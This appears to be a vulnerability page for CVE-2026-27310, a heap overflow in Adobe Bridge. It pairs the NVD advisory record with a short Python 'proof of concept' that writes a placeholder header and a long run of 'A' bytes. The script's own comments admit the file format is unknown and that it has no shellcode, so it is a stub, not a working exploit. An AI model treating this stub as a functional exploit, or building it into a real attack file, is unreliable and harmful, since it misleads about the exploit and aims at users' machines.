CVE-2026-27310

import os # Proof of Concept (PoC) generator for CVE-2026-27310 # This script generates a malicious file designed to trigger the Heap-based Buffer Overflow. # Note: The exact file format and offset require further reverse engineering. def generate_malicious_file(filename): # The payload consists of a large pattern to overflow the heap buffer. # In a real exploit, this would contain shellcode and specific pointers. junk_buffer = b'A' * 10000 # Constructing a minimal file header that Adobe Bridge accepts before the overflow point. # This is a placeholder structure as the specific format parsing logic is proprietary. file_header = b'\x00\x01\x02\x03MALICIOUS_HEADER' payload = file_header + junk_buffer with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") if __name__ == "__main__": output_file = "cve_2026_27310_exploit.bin" generate_malicious_file(output_file)

{"cve": {"id": "CVE-2026-27310", "sourceIdentifier": "[email protected]", "published": "2026-04-14T20:16:34.407", "lastModified": "2026-04-15T19:59:39.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bridge versions 16.0.2, 15.1.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.1.5", "matchCriteriaId": "8B4FBE0D-49AE-47B0-9A02-CF772B606C89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0", "versionEndExcluding": "16.0.3", "matchCriteriaId": "AA94FD4C-CD52-43BC-9DD6-C688A783A5F9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/bridge/apsb26-39.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}